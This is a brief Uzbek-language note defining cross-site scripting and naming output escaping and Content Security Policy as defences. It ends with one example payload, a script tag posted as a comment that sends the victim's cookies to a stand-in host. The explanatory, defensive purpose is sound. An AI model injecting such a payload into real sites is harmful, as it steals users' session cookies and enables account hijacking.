XSS

Hujumchi sahifaga o‘z JavaScript kodini kiritib, boshqa foydalanuvchilar brauzerida bajarishi. Chiqishni ekranlash va CSP bilan himoyalanadi.

<script>fetch("//evil?c="+document.cookie)</script> izoh sifatida